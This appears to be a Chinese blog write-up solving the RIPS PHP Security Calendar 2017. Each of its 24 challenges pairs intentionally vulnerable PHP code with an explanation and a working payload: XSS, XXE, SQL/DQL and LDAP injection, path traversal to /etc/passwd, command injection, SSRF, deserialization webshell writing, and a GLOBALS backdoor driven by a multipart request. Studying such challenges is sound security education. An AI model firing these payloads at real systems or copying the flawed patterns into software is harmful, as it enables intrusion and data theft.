:)

https://www.ripstech.com/php-security-calendar-2017/

day1 Wish List

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
class Challenge {
    const UPLOAD_DIRECTORY = './solutions/';
    private $file;
    private $whitelist;

    public function __construct($file) {
        $this->file = $file;
        $this->whitelist = range(1, 24);
    }

    public function __destruct() {
        if (in_array($this->file['name'], $this->whitelist)) {
            move_uploaded_file(
                $this->file['tmp_name'],
                self::UPLOAD_DIRECTORY . $this->file['name']
            );
        }
    }
}

$challenge = new Challenge($_FILES['solution']);

这里是对上传的文件名做了白名单检查,要求是文件名为1-23的数字。然而,这里的判断用了in_array,但是没有设置$strict = true

如果没有设置 strict 则使用宽松的比较 —— php.net

所以文件名为1backdoor.php就能绕过白名单了

day2 Twig

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// composer require "twig/twig"
require 'vendor/autoload.php';

class Template {
    private $twig;

    public function __construct() {
        $indexTemplate = '<img ' .
            'src="https://loremflickr.com/320/240">' .
            '<a href="{{link|escape}}">Next slide »</a>';

        // Default twig setup, simulate loading
        // index.html file from disk
        $loader = new Twig\Loader\ArrayLoader([
            'index.html' => $indexTemplate
        ]);
        $this->twig = new Twig\Environment($loader);
    }

    public function getNexSlideUrl() {
        $nextSlide = $_GET['nextSlide'];
        return filter_var($nextSlide, FILTER_VALIDATE_URL);
    }

    public function render() {
        echo $this->twig->render(
            'index.html',
            ['link' => $this->getNexSlideUrl()]
        );
    }
}

(new Template())->render();

第10行使用了模板输出,link生成的方式为getNexSlideUrl(),在这个函数中,验证是否为URL格式则用了filter_var,然而用js协议就能绕过?nextSlide=javascript://comment%250aalert(1),这样只要点击链接,就能触发xss

day3 Snow Flake

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function __autoload($className) {
    include $className;
}

$controllerName = $_GET['c'];
$data = $_GET['d'];

if (class_exists($controllerName)) {
    $controller = new $controllerName($data['t'], $data['v']);
    $controller->render();
} else {
    echo 'There is no page with this name';
}

class HomeController {
    private $template;
    private $variables;

    public function __construct($template, $variables) {
        $this->template = $template;
        $this->variables = $variables;
    }

    public function render() {
        if ($this->variables['new']) {
            echo 'controller rendering new response';
        } else {
            echo 'controller rendering old response';
        }
    }
}
if (class_exists($controllerName))

这里会触发__autoload,如果php < 5.3,那当/?c=../../../../etc/passwd时,会将文件包含进来。 那么当php版本大于5.3,就可以使用php内置的类,比如SimpleXMLElement就能造成xxe盲攻击,xxe近期会写一篇文章(愿此flag不倒)

day4 False Beard

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
class Login {
    public function __construct($user, $pass) {
        $this->loginViaXml($user, $pass);
    }

    public function loginViaXml($user, $pass) {
        if (
            (!strpos($user, '<') || !strpos($user, '>')) &&
            (!strpos($pass, '<') || !strpos($pass, '>'))
        ) {
            $format = '<?xml version="1.0"?>' .
                      '<user v="%s"/><pass v="%s"/>';
            $xml = sprintf($format, $user, $pass);
            $xmlElement = new SimpleXMLElement($xml);
            // Perform the actual login.
            $this->login($xmlElement);
        }
    }
}

new Login($_POST['username'], $_POST['password']);

很明显是个xxe,使用了strpos

strpos — 查找字符串首次出现的位置

1
2
var_dump(strpos("h", "helloword"));
// bool(false)

所以只要usernamepassword的第一个字符是<就能绕过判断,进行xxe攻击 username=<"><injected-tag%20property="&password=<injected-tag>

day5 Postcard

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
class Mailer {
    private function sanitize($email) {
        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            return '';
        }

        return escapeshellarg($email);
    }

    public function send($data) {
        if (!isset($data['to'])) {
            $data['to'] = 'none@ripstech.com';
        } else {
            $data['to'] = $this->sanitize($data['to']);
        }

        if (!isset($data['from'])) {
            $data['from'] = 'none@ripstech.com';
        } else {
            $data['from'] = $this->sanitize($data['from']);
        }

        if (!isset($data['subject'])) {
            $data['subject'] = 'No Subject';
        }

        if (!isset($data['message'])) {
            $data['message'] = '';
        }

        mail($data['to'], $data['subject'], $data['message'],
             '', "-f" . $data['from']);
    }
}

$mailer = new Mailer();
$mailer->send($_POST);

其实看到escapeshellargmail就想起了PHPMailer 小于 5.2.18 版本的 RCE 漏洞

这里就给个分析链接https://paper.seebug.org/164/ (赞美大黑阔

day6 Frost Pattern

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class TokenStorage {
    public function performAction($action, $data) {
        switch ($action) {
            case 'create':
                $this->createToken($data);
                break;
            case 'delete':
                $this->clearToken($data);
                break;
            default:
                throw new Exception('Unknown action');
        }
    }

    public function createToken($seed) {
        $token = md5($seed);
        file_put_contents('/tmp/tokens/' . $token, '...data');
    }

    public function clearToken($token) {
        $file = preg_replace("/[^a-z.-_]/", "", $token);
        unlink('/tmp/tokens/' . $file);
    }
}

$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);

这里是个任意文件删除漏洞,在代码中的正则其实有点小问题,猜测作者原意是让除了小写字母跟点、减号、下划线的其他字符替换为空,但是这里的正则中,减号并不是减号的意思,而是至,就像a-z一样,从a至z的所有字母,同理.-_就是从点(46)到下划线(95)的所有符号,所以可以构造payload:action=delete&data=../../config.php

day7 Bells

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function getUser($id) {
    global $config, $db;
    if (!is_resource($db)) {
        $db = new MySQLi(
            $config['dbhost'],
            $config['dbuser'],
            $config['dbpass'],
            $config['dbname']
        );
    }
    $sql = "SELECT username FROM users WHERE id = ?";
    $stmt = $db->prepare($sql);
    $stmt->bind_param('i', $id);
    $stmt->bind_result($name);
    $stmt->execute();
    $stmt->fetch();
    return $name;
}

$var = parse_url($_SERVER['HTTP_REFERER']);
parse_str($var['query']);
$currentUser = getUser($id);
echo '<h1>'.htmlspecialchars($currentUser).'</h1>';

看到parse_str()就想起了变量覆盖,http://webdog.top/php-blfg/#parse-str-%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96

这样就可以构造config来链接到我们自己mysql服务器,返回任意的用户

pyload: http://host/?config[dbhost]=x.x.x.x&config[dbuser]=root&config[dbpass]=root&config[dbname]=any&id=1

day8 Candle

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
header("Content-Type: text/plain");

function complexStrtolower($regex, $value) {
    return preg_replace(
        '/(' . $regex . ')/ei',
        'strtolower("\\1")',
        $value
    );
}

foreach ($_GET as $regex => $value) {
    echo complexStrtolower($regex, $value) . "\n";
}

这里$regex$value都可控,所以我们可以注入任何php函数

payload: /?.*={${phpinfo()}}

最终输出的是{${phpinfo()}}也就是执行了phpinfo(),这里用了复杂(花括号)语法

http://php.net/manual/zh/reference.pcre.pattern.modifiers.php#reference.pcre.pattern.modifiers.eval

http://php.net/manual/zh/language.types.string.php#language.types.string.parsing.complex

day9 Rabbit

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
class LanguageManager
{
    public function loadLanguage()
    {
        $lang = $this->getBrowserLanguage();
        $sanitizedLang = $this->sanitizeLanguage($lang);
        require_once("/lang/$sanitizedLang");
    }

    private function getBrowserLanguage()
    {
        $lang = $_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? 'en';
        return $lang;
    }

    private function sanitizeLanguage($language)
    {
        return str_replace('../', '', $language);
    }
}

(new LanguageManager())->loadLanguage();

这个就不多说了,伪造Accept-Language payload: ....//....//....//....//etc/passwd

day10 Anticipation

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
extract($_POST);

function goAway() {
    error_log("Hacking attempt.");
    header('Location: /error/');
}

if (!isset($pi) || !is_numeric($pi)) {
    goAway();
}

if (!assert("(int)$pi == 3")) {
    echo "This is not pi.";
} else {
    echo "This might be pi.";
}

首先第一行是个变量覆盖 extract() 所以$pi是可控的

在php5中 assert的参数为字符串时,会被当作php代码执行。在php7中是一个语言结构,而不是一个函数

所以这里环境为php5,在此条件成立下,可以通过12行的assert执行任意函数,虽传进去的是字符串,但是goAway()执行完并没有die或者exit所以下面的代码依旧可以运行

payload:pi=phpinfo()

day11 Pumpkin Pie

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class Template {
    public $cacheFile = '/tmp/cachefile';
    public $template = '<div>Welcome back %s</div>';

    public function __construct($data = null) {
        $data = $this->loadData($data);
        $this->render($data);
    }

    public function loadData($data) {
        if (substr($data, 0, 2) !== 'O:'
        && !preg_match('/O:\d:\/', $data)) {
            return unserialize($data);
        }
        return [];
    }

    public function createCache($file = null, $tpl = null) {
        $file = $file ?? $this->cacheFile;
        $tpl = $tpl ?? $this->template;
        file_put_contents($file, $tpl);
    }

    public function render($data) {
        echo sprintf(
            $this->template,
            htmlspecialchars($data['name'])
        );
    }

    public function __destruct() {
        $this->createCache();
    }
}

new Template($_COOKIE['data']);

看到unserialize应该就是反序列化了,攻击链应该是cookie->__construct->__destruct->createCache来写shell

所以就要绕过substr跟正则,substr可以序列化一个数组这样开头就是a:1:,正则可以通过php的语法O👍,这跟O:1:是等价的

所以payload:a:1:{i:0;O:%2b8:"Template":2:{s:9:"cacheFile";s:14:"/var/www/a.php";s:8:"template";s:16:"<?php%20phpinfo();";}}

这样在调用析构函数的时候就会调用两套值,一套是我们构造的,一套是原来的

day12 String Lights

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$sanitized = [];

foreach ($_GET as $key => $value) {
    $sanitized[$key] = intval($value);
}

$queryParts = array_map(function ($key, $value) {
    return $key . '=' . $value;
}, array_keys($sanitized), array_values($sanitized));

$query = implode('&', $queryParts);

echo "<a href='/images/size.php?" .
    htmlentities($query) . "'>link</a>";

这里应该是个xss,首先htmlentities默认不过滤单引号,所以可以构造<a href='/images/size.php?' onclick=alert(1) //'>link</a>

然后这里虽然对$value进行了取整,不能使用字符串,但是没有对$key进行过滤,结合上面

payload:/?a'onclick%3dalert(1)%2f%2f=c

day13 Turkey Baster

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
class LoginManager {
    private $em;
    private $user;
    private $password;

    public function __construct($user, $password) {
        $this->em = DoctrineManager::getEntityManager();
        $this->user = $user;
        $this->password = $password;
    }

    public function isValid() {
        $user = $this->sanitizeInput($this->user);
        $pass = $this->sanitizeInput($this->password);

        $queryBuilder = $this->em->createQueryBuilder()
            ->select("COUNT(p)")
            ->from("User", "u")
            ->where("user = '$user' AND password = '$pass'");
        $query = $queryBuilder->getQuery();
        return boolval($query->getSingleScalarResult());
    }

    public function sanitizeInput($input, $length = 20) {
        $input = addslashes($input);
        if (strlen($input) > $length) {
            $input = substr($input, 0, $length);
        }
        return $input;
    }
}

$auth = new LoginManager($_POST['user'], $_POST['passwd']);
if (!$auth->isValid()) {
    exit;
}

这里是个DQL(Doctrine Query Language)注入漏洞,DQL注入类似于SQL注入。

这里userpass虽然看上去经过了过滤,但是这个过滤函数有问题,如果我们传递\作为输入,它将被转义为\\。但是,该substr()函数用于截断转义字符串。这使攻击者能够发送足够长的字符串,以避免转义反斜杠被切断,并且在字符串末尾留下一个\。这将打破WHERE语句并允许注入自己的DQL语法。

所以payload:user=user=1234567890123456789\&passwd=%20OR%201=1-

day14 Snowman

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Carrot {
    const EXTERNAL_DIRECTORY = '/tmp/';
    private $id;
    private $lost = 0;
    private $bought = 0;

    public function __construct($input) {
        $this->id = rand(1, 1000);

        foreach ($input as $field => $count) {
            $this->$field = $count++;
        }
    }

    public function __destruct() {
        file_put_contents(
            self::EXTERNAL_DIRECTORY . $this->id,
            var_export(get_object_vars($this), true)
        );
    }
}

$carrot = new Carrot($_GET);

这里是个任意目录写入,虽然id看上去是数字,但是传入的时候可以是字符串,所以可以id = ../,配合get_object_varvar_export这样就可以在目录下写shell了

http://php.net/manual/zh/function.var-export.php

http://php.net/manual/zh/function.get-object-vars.php

day15 Sleigh Ride

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
class Redirect {
    private $websiteHost = 'www.example.com';

    private function setHeaders($url) {
        $url = urldecode($url);
        header("Location: $url");
    }

    public function startRedirect($params) {
        $parts = explode('/', $_SERVER['PHP_SELF']);
        $baseFile = end($parts);
        $url = sprintf(
            "%s?%s",
            $baseFile,
            http_build_query($params)
        );
        $this->setHeaders($url);
    }
}

if ($_GET['redirect']) {
    (new Redirect())->startRedirect($_GET['params']);
}

首先是$_SERVER['PHP_SELF']

当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/foo/bar.php 的脚本中使用 $_SERVER[‘PHP_SELF’] 将得到 /foo/bar.php。

因为explode会用/来分割,在第5行又有urldecode所以可以用两次urlencode来绕过分割。

payload:/index.php/http:%252f%252fwww.domain.com?redirect=1

经过分割和end后,$url=http:%252f%252fwww.domain.com?,在经过setHeaders就能跳转到构造好的链接

day16 Poem

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class FTP {
    public $sock;

    public function __construct($host, $port, $user, $pass) {
        $this->sock = fsockopen($host, $port);

        $this->login($user, $pass);
        $this->cleanInput();
        $this->mode($_REQUEST['mode']);
        $this->send($_FILES['file']);
    }

    private function cleanInput() {
        $_GET = array_map('intval', $_GET);
        $_POST = array_map('intval', $_POST);
        $_COOKIE = array_map('intval', $_COOKIE);
    }

    public function login($username, $password) {
        fwrite($this->sock, "USER " . $username . "\n");
        fwrite($this->sock, "PASS " . $password . "\n");
    }

    public function mode($mode) {
        if ($mode == 1 || $mode == 2 || $mode == 3) {
            fputs($this->sock, "MODE $mode\n");
        }
    }

    public function send($data) {
        fputs($this->sock, $data);
    }
}

new FTP('localhost', 21, 'user', 'password');

第8行看上去对请求进行了过滤,但是没对$_REQUEST进行过滤,$_REQUEST包含GET、POST、COOKIE,又因为25行使用的是==,所以payload: ?mode=1%0a%0dDELETE%20test.file就能利用ftp协议来删除文件了。

day17 Mistletoe

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class RealSecureLoginManager {
    private $em;
    private $user;
    private $password;

    public function __construct($user, $password) {
        $this->em = DoctrineManager::getEntityManager();
        $this->user = $user;
        $this->password = $password;
    }

    public function isValid() {
        $pass = md5($this->password, true);
        $user = $this->sanitizeInput($this->user);

        $queryBuilder = $this->em->createQueryBuilder()
            ->select("COUNT(p)")
            ->from("User", "u")
            ->where("password = '$pass' AND user = '$user'");
        $query = $queryBuilder->getQuery();
        return boolval($query->getSingleScalarResult());
    }

    public function sanitizeInput($input) {
        return addslashes($input);
    }
}

$auth = new RealSecureLoginManager(
    $_POST['user'],
    $_POST['passwd']
);
if (!$auth->isValid()) {
    exit;
}

看到13行的md5第二个参数为true,就有可能是md5注入了。

pass=128时,经过md5处理后就变成了v�an���l���q��\,就能将单引号转义,使第一个单引号与倒数第二个单引号闭合,造成user的逃逸.

payload:?user=%20OR%201=1-&passwd=128

day18 Sign

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
class JWT {
    public function verifyToken($data, $signature) {
        $pub = openssl_pkey_get_public("file://pub_key.pem");
        $signature = base64_decode($signature);
        if (openssl_verify($data, $signature, $pub)) {
            $object = json_decode(base64_decode($data));
            $this->loginAsUser($object);
        }
    }
}

(new JWT())->verifyToken($_GET['d'], $_GET['s']);

这个看上去没什么问题,还用了openssl,但是在第5行使用了openssl_verify,如果验证通过则返回1,验证不通过则返回0,如果$signature是另一种加密算法的则返回-1。if中如果是-1也是返回true。所以payload:使用不同算法的签名。

day19 Birch

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
class ImageViewer {
    private $file;

    function __construct($file) {
        $this->file = "images/$file";
        $this->createThumbnail();
    }

    function createThumbnail() {
        $e = stripcslashes(
            preg_replace(
                '/[^0-9\\\]/',
                '',
                isset($_GET['size']) ? $_GET['size'] : '25'
            )
        );
        system("/usr/bin/convert {$this->file} --resize $e
                ./thumbs/{$this->file}");
    }

    function __toString() {
        return "<a href={$this->file}>
                <img src=./thumbs/{$this->file}></a>";
    }
}

echo (new ImageViewer("image.png"));

17行可以执行命令,如果能够绕过正则,就可以任意命令执行了。

这里使用了stripcslashes

返回反转义后的字符串。可识别类似 C 语言的 *\n\r*,… 八进制以及十六进制的描述。

所以可以用8进制来绕过

payload:/?size=0\073\163\154\145\145\160\0405\073

解码为0;sleep 5;

day20 Stocking

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
set_error_handler(function ($no, $str, $file, $line) {
    throw new ErrorException($str, 0, $no, $file, $line);
}, E_ALL);

class ImageLoader
{
    public function getResult($uri)
    {
        if (!filter_var($uri, FILTER_VALIDATE_URL)) {
            return '<p>Please enter valid uri</p>';
        }

        try {
            $image = file_get_contents($uri);
            $path = "./images/" . uniqid() . '.jpg';
            file_put_contents($path, $image);
            if (mime_content_type($path) !== 'image/jpeg') {
                unlink($path);
                return '<p>Only .jpg files allowed</p>';
            }
        } catch (Exception $e) {
            return '<p>There was an error: ' .
                $e->getMessage() . '</p>';
        }

        return '<img src="' . $path . '" width="100"/>';
    }
}

echo (new ImageLoader())->getResult($_GET['img']);

首先是第1行都报错跟第14行的file_get_contents配合构成ssrf,例如输入?img=http://internal:22,如果OpenSSH开着的话,会返回报错信息failed to open stream: HTTP request failed! SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.2

其次第9行的filter_var支持file://协议,会导致任意文件读取

day21 Gift Wrap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
declare(strict_types=1);

class ParamExtractor {
    private $validIndices = [];

    private function indices($input) {
        $validate = function (int $value, $key) {
            if ($value > 0) {
                $this->validIndices[] = $key;
            }
        };

        try {
            array_walk($input, $validate, 0);
        } catch (TypeError $error) {
            echo "Only numbers are allowed as input";
        }

        return $this->validIndices;
    }

    public function getCommand($parameters) {
        $indices = $this->indices($parameters);
        $params = [];
        foreach ($indices as $index) {
            $params[] = $parameters[$index];
        }
        return implode($params, ' ');
    }
}

$cmd = (new ParamExtractor())->getCommand($_GET['p']);
system('resizeImg image.png ' . $cmd);

33行的system函数应该是个命令执行函数,然而第一行declare(strict_types=1)启用了严格类型比较,但是array_walk却忽略了,并采用弱类型。

所以可以构造输入的数组为?p[1]=1&p[2]=2;%20ls%20-la,实现了任意命令执行

day22 Chimney

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
if (isset($_POST['password'])) {
    setcookie('hash', md5($_POST['password']));
    header("Refresh: 0");
    exit;
}

$password = '0e836584205638841937695747769655';
if (!isset($_COOKIE['hash'])) {
    echo '<form><input type="password" name="password" />'
       . '<input type="submit" value="Login" ></form >';
    exit;
} elseif (md5($_COOKIE['hash']) == $password) {
    echo 'Login succeeded';
} else {
    echo 'Login failed';
}

12行使用了==,所以造成了弱类型,只要md5(password) = 0e全是数字就能绕过登录限制了。

因为弱类型0e是科学计数法,无论后面数字是啥,最终都等于0

day23 Cookies

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
class LDAPAuthenticator {
    public $conn;
    public $host;

    function __construct($host = "localhost") {
        $this->host = $host;
    }

    function authenticate($user, $pass) {
        $result = [];
        $this->conn = ldap_connect($this->host);
        ldap_set_option(
            $this->conn,
            LDAP_OPT_PROTOCOL_VERSION,
            3
        );
        if (!@ldap_bind($this->conn))
            return -1;
        $user = ldap_escape($user, null, LDAP_ESCAPE_DN);
        $pass = ldap_escape($pass, null, LDAP_ESCAPE_DN);
        $result = ldap_search(
            $this->conn,
            "",
            "(&(uid=$user)(userPassword=$pass))"
        );
        $result = ldap_get_entries($this->conn, $result);
        return ($result["count"] > 0 ? 1 : 0);
    }
}

if(isset($_GET["u"]) && isset($_GET["p"])) {
    $ldap = new LDAPAuthenticator();
    if ($ldap->authenticate($_GET["u"], $_GET["p"])) {
        echo "You are now logged in!";
    } else {
        echo "Username or password unknown!";
    }
}

这里是个ldap注入,24行的表达式可以使用通配符,例如(&(uid=*)(userPassword=*))这样就匹配了所有存在的用户了,成功绕过登录

payload: /?u=*&p=*

技术详解:基于Web的LDAP注入漏洞

day24 Nutcracker

1
2
3
4
5
6
@$GLOBALS=$GLOBALS{next}=next($GLOBALS{'GLOBALS'})
[$GLOBALS['next']['next']=next($GLOBALS)['GLOBALS']]
[$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])
[$next['next']]][$next['GLOBALS']=next($next['GLOBALS'])]
[$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=
next(neXt(${'next'}['next']));

因为$a=$b=$c,首先处理的是$c,所以

1
$v1 = next(neXt(${'next'}['next']))

Step in

1
@$GLOBALS=$GLOBALS{next}=next($GLOBALS{'GLOBALS'})[$GLOBALS['next']['next']=next($GLOBALS)['GLOBALS']][$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])[$next['next']]][$next['GLOBALS']=next($next['GLOBALS'])][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;

Step in next($GLOBALS{'GLOBALS'}), 所以

1
@$GLOBALS=$GLOBALS{next}=$_POST[$GLOBALS['next']['next']=next($GLOBALS)['GLOBALS']][$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])[$next['next']]][$next['GLOBALS']=next($next['GLOBALS'])][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;

Step in next($GLOBALS)['GLOBALS'], 所以

1
2
$v2 = $next['next']=$_COOKIE['GLOBALS'];
@$GLOBALS=$GLOBALS{next}=$_POST[$v2][$next['GLOBALS']=next($GLOBALS[GLOBALS]['GLOBALS'])[$v2]][$next['GLOBALS']=next($next['GLOBALS'])][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;

Step in next($GLOBALS[GLOBALS]['GLOBALS']

1
2
$v3 = $next['GLOBALS']=$_FILES[$v2]
@$GLOBALS=$GLOBALS{next}=$_POST[$v2][$v3][$next['GLOBALS']=next($v3)][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;

Step in ext($v3)

1
2
3
next($v3) = next($_FILES[$v2]) = $_FILES[$v2]['type']
$v4 = $next['GLOBALS']=$_FILES[$v2]['type'];
@$GLOBALS=$GLOBALS{next}=$_POST[$v2][$v3][$v4][$GLOBALS[next]['next']($GLOBALS['next']{'GLOBALS'})]=$v1;

Step in

1
2
$v2 = $next['next']= $GLOBALS[next]['next'] =$_COOKIE['GLOBALS'];
@$GLOBALS=$GLOBALS{next}=$_POST[$v2][$v3][$v4][$_COOKIE['GLOBALS']($_FILES[$v2]['type'])]=$v1;

其中$_COOKIE['GLOBALS']($_FILES[$v2]['type'])构成了可执行的函数

payload:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
POST /index.php HTTP/1.1
Host: x.x.x.x
Content-Length: 1325
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryePkpFF7tjBAqx29L
Cookie: GLOBALS=system

------WebKitFormBoundaryePkpFF7tjBAqx29L
Content-Disposition: form-data; name="MAX_FILE_SIZE"

100000
------WebKitFormBoundaryePkpFF7tjBAqx29L
Content-Disposition: form-data; name="ls"; filename="hello.o"
Content-Type: ls

<file data>
------WebKitFormBoundaryePkpFF7tjBAqx29L———

http://www.bkjia.com/nwaq/907301.html

http://mage-ctf-writeup.blogspot.com/2014/10/hacklu-2014-ctf.html

https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/next-global-backdoor